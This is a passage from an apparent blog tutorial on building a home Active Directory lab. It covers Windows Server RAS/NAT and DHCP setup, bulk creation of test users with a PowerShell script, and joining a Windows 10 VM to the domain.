Configuring RAS/NAT</strong></h3><ol><li>In the server manager dashboard page, click on the “Tools” menu and select the “Routing and Remote Access” option.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*rVlwDdTjNJTKueHCDJevWQ.png" /><figcaption>Selecting Routing and Remote access option</figcaption></figure><p>2. In the “Routing and Remote Access” page, simply right-click on the computer name and select the “Configure and Enable Routing and Remote Access” option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*0WEyWik6khLERn0wZsx1Wg.png" /><figcaption>Rounting and remote access home page</figcaption></figure><p>3. When the “Routing and Remote Access Server Setup Wizard” comes up, hit the “Next” button. On the “Configuration” page, select the radio button for “Network address translation” and click the “Next” button at the bottom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ubBYO0cKoRxudVWd2di8lg.png" /><figcaption>RAS setup wizard</figcaption></figure><p>4. In the NAT internet connection page, click on the button to “Use this public interface to connect to the internet” and make sure to select the network interface that is connected to the internet. Remember that we renamed the interfaces earlier, so just select the interface with access to the internet. In this case, it is the “Internet_NAT”. Click the next button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*JawhuKuGs-4ZFSyUXrSBhQ.png" /><figcaption>Selecting the public interface to connect to internet</figcaption></figure><p>5. Click the finish button on the last page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*7updzfR3sIqqZHgcfKefgg.png" /><figcaption>Final page of the RAS configuration</figcaption></figure><p>6. Now that the setup is complete, from the “Routing and Remote Access” homepage, the play icon should have turned green. But, if it has not, simply right-click on the server name and select refresh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*pqWXjsfIosYliIPUjlWE2A.png" /><figcaption>Navigating the RAS home</figcaption></figure><p>7. Close the window when done.</p><h3><strong>Step 8: Setting up DHCP on the DC</strong></h3><ol><li>Navigate to the “Server Manager &gt; Dashboard” page and click on the “Add roles and features” link. When the window opens, click on the next button and on the next page, click on the “DHCP Server” check box and click on the next button.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*mgQ1UC7VSimcYvb39H45SQ.png" /><figcaption>Selecting the DHCP option in server roles</figcaption></figure><p>2. Click on the “Add Features” button in the Add Features popup window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*yiVWfjugfbl09inQsiFp_w.png" /><figcaption>Adding features</figcaption></figure><p>3. Wait for the installation to complete and click the “Close” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*pF4fPw-WWAhncq8htb610w.png" /><figcaption>Installation result page</figcaption></figure><p>4. Click the “Tools” menu and select the “DHCP” option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-oeIMy6tnssx1k968c38ow.png" /><figcaption>Accessing the DHCP option from the tools menu</figcaption></figure><p>5. Notice that the computer name and domain name are together, click on the drop-down by the left of the computer name together with the domain name, and then right-click on the IPv4 option and select “New Scope”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*dBz8a5TRFvocD-x8q1iQPA.png" /><figcaption>Adding a new scope in the DHCP wizard</figcaption></figure><p>6. When the “New Scope” wizard comes up, click on the “Next” button. On the scope name wizard page, give it a desired name. We are giving it the network range name here, which is 174.16.1.100–200.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*72U3zNPHL_ItTG4XIODtfg.png" /><figcaption>Giving the new scope a name</figcaption></figure><p>7. In the address range page, enter the start IP address and the end IP address, which are 174.16.1.100 and 174.16.1.200, respectively. For the length, enter 24, which will automatically update the subnet mask field. Click the next button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*YEakB1lrXsS99inhTgtEEA.png" /><figcaption>Assigning IP ranges for the new scope</figcaption></figure><p>8. The next page is to add IP address exclusion, but we don’t intend to configure exclusion, so click the next button to go to the lease duration page. This is used to specify the duration during which a host or client can hold on to an assigned IP address. For this project, we are setting it to 5 days. You may consider setting fewer days or even hours for a busy environment or a security conscious setting. Click on the next button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*E12rOuwQRkWtQusOW_n5og.png" /><figcaption>Setting the lease duration</figcaption></figure><p>9. In the configure DHCP options page, select the “Yes, I want to configure these options now” option and click on the next button to proceed to adding the gateway. Enter a gateway and click on the add button on the right to save the address, and click the next button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*hlIEwupSx6Jt06UUO0fABw.png" /><figcaption>Adding a default gateway so it can act as a router</figcaption></figure><p>10. In the domain name and DNS servers page, ensure that the parent domain field is populated with your domain name and that the IP address field is showing the gateway that was just added. Click the next button when done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ZygiplRnyDMnCHkMjwtEmw.png" /><figcaption>Confirming the domain name and the gateway</figcaption></figure><p>11. In the WINS server page, leave the default option as we don’t intend to make use of it. Click the next button. On the next page, select Yes to activate the scope immediately. Click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*_qA0229VU_0nUQ6kduScYg.png" /><figcaption>Activating the scope immediately</figcaption></figure><p>12. Click the finish button on the next page.</p><p>13. Back at the DHCP homepage, right-click the computer name-domain name and select “Authorize”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*edH7rd3ezKtG22zezkOTPg.png" /><figcaption>Refreshing the IPv4 settings</figcaption></figure><p>14. Right-click the IPv4 and select refresh to update our settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*w4psysqeXyxVPMho3-7dqw.png" /><figcaption>Refreshing the IPv4 settings</figcaption></figure><p>15. This should update the settings, and they should now show on the windows by the right pane as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*P37JmbrVnD7L_Jq2Kz0znQ.png" /><figcaption>DHCP showing the updated information</figcaption></figure><h3><strong>Step 9: User creation for AD using Windows PowerShell</strong></h3><p><strong>*** Prerequisite: Download the PowerShell script using this </strong><a href="https://github.com/Toluowo/active-directory-lab/blob/main/Generate_Names_and_Create_AD_Users.ps1"><strong>link</strong></a><strong>.</strong></p><ol><li>Run Windows PowerShell ISE as an admin by clicking on the start menu and navigating to “Windows PowerShell &gt; (right-click) PowerShell ISE &gt; More &gt; Run as administrator”. PowerShell ISE opens with 2 windows and enables us to run a script and see it as it is executing on the go.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*TuAw1Uqk_xkqUxcRpCCZsw.png" /><figcaption>Running powershell ISE as admin</figcaption></figure><p>2. Accept the user account control check by clicking “Yes” in the dialog window. When the PowerShell ISE window opens, navigate to “File &gt; Open”. Then select the script downloaded earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Jh-DeOIkOtraWRHwJU9jag.png" /><figcaption>Opening the script downloaded earlier</figcaption></figure><p>3. Execute the following command and click on “Yes to all”:</p><pre>Set-ExecutionPolicy Unrestricted</pre><p>This is a security check for scripts that are downloaded. This script can be trusted, and so, clicking “Yes to all” will allow our script to run without interruption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*MCza6NO8-94vE86BekAhag.png" /><figcaption>Setting execution policy to unrestricted</figcaption></figure><p>4. It is important to run the script from the location. So, navigate to the downloaded script location with the “CD” command. See (1) in the screenshot below. Issue the “ls” command to verify the existence of the script in the directory (3) and (4):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ueOXU1q3Iblu6ZadEdyfhw.png" /><figcaption>Navigating to the script directory</figcaption></figure><p><strong>*** Before running the script, let’s do a summary of the key functions and variables.***</strong></p><pre>$NUMBER_OF_ACCOUNTS_TO_CREATE = 100</pre><ul><li>is used to specify the number of accounts to create, and this number can be adjusted to whatever you desire. But you should note that the higher the number, the longer it will take to execute.</li></ul><pre>$SET_USERS_PASSWORD = &quot;UserPass-1&quot; </pre><ul><li>sets the default password for all the users created to “UserPass-1”.</li></ul><pre>$NEW_OU_PATH = New-ADOrganizationalUnit -Name IT_USERS -ProtectedFromAccidentalDeletion $false</pre><ul><li>Create a new Organization Unit named “IT_USERS” and set the protected from accidental deletion to false to enforce the flexibility to delete the OU even when there are users in it.</li></ul><pre>$OU_PATH = &quot;OU=IT_USERS,DC=mydomain,DC=com&quot;</pre><ul><li>Assigns the newly created OU (IT_USERS) to the variable $OU_PATH</li></ul><pre>function generate-random-name()</pre><ul><li>is the function to generate random names from a combination of consonants and vowels.</li></ul><pre>$nameLength = Get-Random -Minimum 4 -Maximum 8</pre><ul><li>is used to specify the range of the length of the generated name. The code above specifies a minimum of 4 characters and a maximum of 8 to be generated.</li></ul><pre>try {} and catch {}</pre><ul><li>block is used to attempt to add the generated user to the active directory and to handle exceptions.</li></ul><pre>Write-Host &quot;Creating user: $username&quot; -BackgroundColor Black -ForegroundColor Blue</pre><ul><li>creates the user and displays the information on a black background and blue foreground.</li></ul><pre>$password = ConvertTo-SecureString $SET_USERS_PASSWORD -AsPlainText -Force </pre><ul><li>converts the passwords declared before (UserPass-1) from plaintext to a secure string before it can be used by active directory and to meet complexity requirements.</li></ul><pre>Write-Host &quot;User $username created successfully!&quot; -ForegroundColor Green </pre><ul><li>displays a “user created successfully” message with a green foreground color.</li></ul><p>5. Click on the play button labelled (5) in the screenshot above to begin executing the script. Click “OK” in the dialog box that pops up, indicating that the script will be saved. The script should successfully run, and you should then see success messages for each of the users created and added successfully into the AD “IT_USERS”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*FcfFN0amwv1H2bTcIIs8uw.png" /><figcaption>PowerShell ISE showing that script executed successfully</figcaption></figure><p>6. Verify that the users have been created and added into the active directory by clicking the start menu and navigating to “Windows Administrative Tools &gt; Active Directory Users and Computers”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*hqmAMGxGxsi1ItGE-HD9CQ.png" /><figcaption>Navigating to the active directory users and computers</figcaption></figure><p>7. Confirm that you can see all the newly created users in the active directory, depending on the number of users declared for creation by clicking on the domain name dropdown icon and selecting the newly created OU from our script, which is “IT_USERS”. It can be seen below that the users have been created successfully. Take note of the first user (bedolil.dohona) as this will be the user we will use as a test to log in to Windows 10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*souGZOmNxUwANG16FP8vFw.png" /><figcaption>Active directory users showing the list of newly created users</figcaption></figure><h3><strong>Step 10: Configuring the network interface of Windows 10 client to private.</strong></h3><ol><li>From the VMWare library, right-click on the Windows 10 machine and select settings.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Cp_uPeBPrqDZhjkB3Gt_Lw.png" /><figcaption>VMWare library showing the context menu for the Windows 10 client</figcaption></figure><p>2. In the settings page, select the network adapter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*BAvWZCs9XcYDYJYJkkPZhA.png" /><figcaption>System settings for windows the 10 machine</figcaption></figure><p>3. When the options for the network adapter open, make sure to select “Private to my Mac” by clicking on the radio button. This is to ensure that the Windows 10 client is not connected to the internet by itself through this adapter, but would only be able to reach the internet through the Windows server via the RAS/NAT that has been configured on the Windows server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*BkfCasluxU1KdI2ngIptFw.png" /><figcaption>Configuring the network interface to private</figcaption></figure><h3><strong>Step 11: Logging on to Windows 10 client and checking the network properties before joining the domain.</strong></h3><ol><li>You can confirm that the private configuration applied to the network adapter is at work by confirming that the machine cannot reach the internet. It can be immediately seen that there is no network from the network icon in the taskbar.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*n0NI8S3kymB9_bq9Tqn99Q.png" /><figcaption>Windows taskbar showing “No network” from the network icon</figcaption></figure><p>2. We can dig further and see some other properties. First, let&#39;s use ipconfig to check the IP configuration. So, type ipconfig in a command prompt window by launching Command Prompt from the start menu and then typing ipconfig in the window that opens. See screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*NbX2f5mAZ1QcAfVTveGvrQ.png" /><figcaption>Command prompt showing the result of ipconfig</figcaption></figure><p>3. From the above, it can be seen that there are only limited properties. Note the IP address and also observe that there is no gateway assigned, and that simply means there is no way the machine will ever be able to reach the internet.</p><h3><strong>Step 12: Logging on to Windows 10 Client and joining the domain with one of the newly generated users.</strong></h3><ol><li>Go to your Windows 10 client machine and sign in as an existing user. Then right-click the start menu and select “Settings”. From the settings page, click the “About” link (1) at the bottom and select the “Rename this PC (Advanced) (2) at the right as shown in the screenshot below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*w6KjPVQ7FU6FApaDW9eh-g.png" /><figcaption>Navigating the Settings&gt;About page</figcaption></figure><p>2. The “System Properties” window opens. Select the “Change” option under the “Computer Name” tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*R2LBNyJOb8kdYjbsMC5WWA.png" /><figcaption>System properties page</figcaption></figure><p>3. Input the desired computer name, e.g., “WIN-10_CLIENT” as is in this case, and type in the appropriate domain name like “mydomain.com” as is in this case. Click OK when done, and it should automatically attempt to join the domain by requesting user credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*V5D2NJmntPCTu0DBv5VmTQ.png" /><figcaption>Renaming the computer and adding it to the domain</figcaption></figure><p>4. Now enter any of the users that were created with the script earlier. In this case, we are using the first user on the list of users created previously, namely “bedolil.dohona”, and recall that the password we applied for the users is “UserPass-1”. So we go ahead to enter the credentials on the login screen and hit enter or click “OK”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*5OoCiaPc8jc0_hhWZsqyjg.png" /><figcaption>Entering the new user credentials</figcaption></figure><p>5. If all goes fine, you should get a welcome to the domain dialog box. Click on the OK button, and you will be prompted for a restart. Click on OK to restart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*WuaRfNJGWQpf3NmM0_dX5A.png" /><figcaption>The domain acceptance of the new user</figcaption></figure><p>6. Once the Windows 10 client restarts, click on the “Other Users” link on the logon screen and enter the user credentials again to join the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*kS1EZSYM0TsaoxWc8o6WqA.png" /><figcaption>Logging on to windows with the new user credentials</figcaption></figure><p>7. For the first time logging on, it will take a little time to set things up and consequently log the new user in. Wait for it to complete and load the new environment.</p><p>8. After logging in, open the command prompt and enter the “ipconfig” command to see the IP configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*HqhKj3qeJW_B80vD_wiSTg.png" /><figcaption>Using ipconfig to check the network properties of the windows client</figcaption></figure><p>The screenshot above shows the assigned properties from the DHCP that we configured in the Active Directory server earlier.</p><h3><strong>Step 13: Verifying the new user who has joined the domain.</strong></h3><ol><li>Log back into the Windows server. Click on the start menu and navigate to “Administrative Properties &gt; Active Directory Users and Computers”. Then click on the dropdown by the name of the domain in the left pane. Click on “Computers” and you should be able to see the Windows 10 client that just joined the domain on the right pane. So, as more computers are joining the domain, they will automatically be inventoried here.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*VU5SzgjRxjzlPi2FI8mLRg.png" /><figcaption>Active directory users and computers showing the info of the computer that has successfully joined the domain</figcaption></figure><p>2. Next, we can check the address leases to see the IP addresses that have been leased. In the server homepage, navigate to “Tools &gt; DHCP”.</p><p>Click on the domain dropdown (1)</p><p>Click on the IPv4 dropdown (2)</p><p>Click on the scope dropdown (3)</p><p>Click on the Address Leases (4)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*_6m82GLAELIuma7SfTrFnA.png" /><figcaption>DHCP showing the address leases</figcaption></figure><p>As can be seen from the above, the IP 174.16.1.100 is where we configured our IP to start from when we were performing the DHCP setup. Also, recall, this is the IP we found on the Windows 10 client machine when we checked the ipconfig command.</p><h3><strong>Step 14: Verifying the network properties on the Windows 10 Client after joining the domain.</strong></h3><ol><li>It can be immediately visibly seen from the network/ethernet icon on the taskbar that the Windows 10 client is now connected to the internet.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*XdkKKckrjJltXIf4hkvE2w.png" /><figcaption>Figure 1: Ethernet icon on the taskbar showing machine connected to the internet</figcaption></figure><p>2. Run a basic ipconfig command in the command prompt to see the network properties by opening command prompt from the start menu and typing “ipconfig” and hitting enter. See screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*429pCTPxftWrmBVSk5gElQ.png" /><figcaption>Figure 1: ipconfig result from the command prompt showing the changes in the network properties</figcaption></figure><p>From the screenshot above, it can be deduced that the network properties have been modified, which is responsible for why the Windows 10 client can now reach the internet. Some of the modifications annotated above include:</p><ul><li>(1) showing the domain change from “localdomain” previously to “mydomain.com”</li><li>(2) showing the IPv4 change from 172.16.136.129 previously to 176.16.1.100, which is the starting IP as configured in DHCP previously on the Windows Server.</li><li>(3) Showing the change in the default gateway, which was blank previously before joining the domain, and now to 174.16.1.1, which is the static IP set for the IPv4 on the Internal_Private network interface on the Windows Server.</li></ul><p>Thank you for the read…</p><p>I hope it was well worth it and easy to follow. Kindly reach out to me if you have any questions, clarification, or suggestions, and I will definitely respond ASAP.</p><ul><li><strong>email</strong>: owolabitolu@gmail.com</li><li><strong>linkedin</strong>: <a href="https://www.linkedin.com/in/tolu-owolabi-toluowo/">https://www.linkedin.com/in/tolu-owolabi-toluowo/</a></li></ul><p>My name is <strong>Toluwalase Owolabi</strong>, and I am a Cybersecurity Analyst with many years of experience in the Information Technology domain, including, but not limited to System Administration, Software Development, Network Administration, Data Manipulation, and Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c36814b91c89" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>